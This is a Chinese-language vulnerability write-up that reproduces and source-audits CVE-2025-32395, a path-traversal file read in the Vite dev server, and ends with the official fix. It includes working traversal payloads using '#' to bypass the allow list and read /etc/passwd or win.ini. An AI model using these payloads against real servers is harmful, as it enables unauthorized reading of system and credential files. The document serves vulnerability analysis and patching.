Vite开发服务器任意文件读取漏洞分析复现(CVE-2025-32395)

第四个CVE了。。这是TGCTF的时候给我遇到的,再来复现!

我们先来看看影响版本:

>=6.2.0, <=6.2.5

>=6.1.0, <=6.1.4

>=6.0.0, <=6.0.14

>=5.0.0, <=5.4.17

<=4.5.12

前几天的6.2.6就是对这个CVE的修补。

我们先看看官方poc:

1
/@fs/Users/doggy/Desktop/vite-project/#/../../../../../etc/passwd

也是一种目录穿越,但是跟CVE-2025-31486的又有不同之处。

commit如下:

https://github.com/vitejs/vite/commit/175a83909f02d3b554452a7bd02b9f340cdfef70

我们可以看到这里新增了一个方法来检测#,从而防止CVE-2025-32395

环境搭建

先搭建一下漏洞版本看看

1
2
3
4
npm create vite@latest
cd vite-project/
npm install vite@6.2.5
npm run dev

这里我发现如何直接在页面url访问是获取不到的?那么接下来我们用yakit试试

还有一种搭建方法,用webstorm

本次测试看看效果,当我们访问如下url时:

1
http://localhost:5173/@fs/Users

页面回显如下:

1
2
3
4
5
6
403 Restricted
The request url "C:/Users" is outside of Vite serving allow list.

- C:/Users/TY/Desktop/cve/vite浠绘剰鏂囦欢璇讳竴鍫哻ve/vite6.2.5-project

Refer to docs https://vite.dev/config/server-options.html#server-fs-allow for configurations and more details.

它说C:/Users is outside of Vite serving allow list ,那么下面给的C:/Users/TY/Desktop/cve/vite浠绘剰鏂囦欢璇讳竴鍫哻ve/vite6.2.5-project应该就是allow list,那么我们便可能通过目录穿越实现任意文件读取。

源码审计

poc:

1
/@fs/Users/TY/Desktop/cve/vite%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E4%B8%80%E5%A0%86cve/vite6.2.5-project/#/../../../../../../../windows/win.ini

我们跟一边poc!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
return function viteServePublicMiddleware(req, res, next) {
// To avoid the performance impact of `existsSync` on every request, we check against an
// in-memory set of known public files. This set is updated on restarts.
// also skip import request and internal requests `/@fs/ /@vite-client` etc...
if (
(publicFiles && !publicFiles.has(toFilePath(req.url!))) ||
isImportRequest(req.url!) ||
isInternalRequest(req.url!) ||
// for `/public-file.js?url` to be transformed
urlRE.test(req.url!)
) {
return next()
}
serve(req, res, next)
}

viteServePublicMiddleware 函数开始看吧,这是一个处理请求的中间件函数,根据请求判断接下来的函数调用,满足第一个条件会进入 next() 也就是调用下一个中间件进行处理

然后就会进入下列函数,眼熟吧,前几个cve我们都分析过这。

前面就是一些简单的判读处理,比如看是否是 GET 请求,是否以 .map 结尾等等,这里就不细看了。

后续会进入到下述if语句

1
2
3
4
5
6
7
if (
req.headers['sec-fetch-dest'] === 'script' ||
isJSRequest(url) ||
isImportRequest(url) ||
isCSSRequest(url) ||
isHTMLProxy(url)
) {

这里肯定都不满足会进入 else 分支直接调用下一个中间件函数处理 viteServeRawFsMiddleware,然后在这个中间件函数中接着调用了 ensureServingAccess 方法,该方法是处理 HTTP 请求的,如果文件不被允许访问,则返回 403,

然后我们关注一下下一个中间件函数处理 viteServeRawFsMiddleware

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
return function viteServeRawFsMiddleware(req, res, next) {
// In some cases (e.g. linked monorepos) files outside of root will
// reference assets that are also out of served root. In such cases
// the paths are rewritten to `/@fs/` prefixed paths and must be served by
// searching based from fs root.
if (req.url!.startsWith(FS_PREFIX)) {
const url = new URL(req.url!, 'http://example.com')
const pathname = decodeURI(url.pathname)
// restrict files outside of `fs.allow`
if (
!ensureServingAccess(
slash(path.resolve(fsPathFromId(pathname))),
server,
res,
next,
)
) {
return
}

let newPathname = pathname.slice(FS_PREFIX.length)
if (isWindows) newPathname = newPathname.replace(/^[A-Z]:/i, '')

url.pathname = encodeURI(newPathname)
req.url = url.href.slice(url.origin.length)
serveFromRoot(req, res, next)
} else {
next()
}
}

本CVE就是绕过ensureServingAccess。但是在进入ensureServingAccess之前,我们发现上方存在两段代码:

1
2
const url = new URL(req.url!, 'http://example.com')
const pathname = decodeURI(url.pathname)

注意到这里的 new URL,其会把 # 后面的内容当作注释,从而返回的 url 只有 /@fs/Users/TY/Desktop/cve/vite%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E4%B8%80%E5%A0%86cve/vite6.2.5-project/,这其实就是我们的项目目录,也就是allowed file。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
export function ensureServingAccess(
url: string,
server: ViteDevServer,
res: ServerResponse,
next: Connect.NextFunction,
): boolean {
if (isFileServingAllowed(url, server)) {
return true
}
if (isFileReadable(cleanUrl(url))) {
const urlMessage = `The request url "${url}" is outside of Vite serving allow list.`
const hintMessage = `
${server.config.server.fs.allow.map((i) => `- ${i}`).join('\n')}

Refer to docs https://vite.dev/config/server-options.html#server-fs-allow for configurations and more details.`

server.config.logger.error(urlMessage)
server.config.logger.warnOnce(hintMessage + '\n')
res.statusCode = 403
res.write(renderRestrictedErrorHTML(urlMessage + '\n' + hintMessage))
res.end()
} else {
// if the file doesn't exist, we shouldn't restrict this path as it can
// be an API call. Middlewares would issue a 404 if the file isn't handled
next()
}
return false
}

此处会先调用isFileServingAllowed,判断url是否允许被vite服务器访问。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
export function isFileServingAllowed(
url: string,
server: ViteDevServer,
): boolean
export function isFileServingAllowed(
configOrUrl: ResolvedConfig | string,
urlOrServer: string | ViteDevServer,
): boolean {
const config = (
typeof urlOrServer === 'string' ? configOrUrl : urlOrServer.config
) as ResolvedConfig
const url = (
typeof urlOrServer === 'string' ? urlOrServer : configOrUrl
) as string

if (!config.server.fs.strict) return true
const filePath = fsPathFromUrl(url)
return isFileLoadingAllowed(config, filePath)
}

其执行了 isFileLoadingAllowed 函数检查文件路径是否符合 Vite 的文件访问规则。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
export function isFileLoadingAllowed(
config: ResolvedConfig,
filePath: string,
): boolean {
const { fs } = config.server

if (!fs.strict) return true

if (config.fsDenyGlob(filePath)) return false

if (config.safeModulePaths.has(filePath)) return true

if (fs.allow.some((uri) => isUriInFilePath(uri, filePath))) return true

return false
}

存在几个条件判断,只有返回 true 才能允许访问,比如看最后一个判断

我们跟进一下allow,此处应该就是允许的目录

1
allow?: string[]

再次跟进。

1
2
3
4
5
6
7
8
9
10
11
12
const server: ResolvedServerOptions = {
..._server,
fs: {
..._server.fs,
// run searchForWorkspaceRoot only if needed
allow: raw?.fs?.allow ?? [searchForWorkspaceRoot(root)],
},
sourcemapIgnoreList:
_server.sourcemapIgnoreList === false
? () => false
: _server.sourcemapIgnoreList,
}

searchForWorkspaceRoot,看英文就是查询工作空间根目录,应该就是网站目录!

那么使用我们上述的poc,此处就会返回true!

最后绕过 ensureServingAccess 方法,同样也返回 true,

目录验证后,后续的处理逻辑却又是使用我们原始的url进行处理,最后像正常读取 /@fs/ 允许目录下的文件一样进行读取,通过目录穿越访问到任意文件

漏洞修补

我们直接看官方commit

https://github.com/vitejs/vite/commit/3bb0883d22d59cfd901ff18f338e8b4bf11395f7

1
2
3
4
5
6
7
if (req.url?.includes('#')) {
// HTTP 1.1 spec recommends sending 400 Bad Request
// (https://datatracker.ietf.org/doc/html/rfc9112#section-3.2-4)
res.writeHead(400)
res.end()
return
}

不允许url中包含#,否则直接报错400.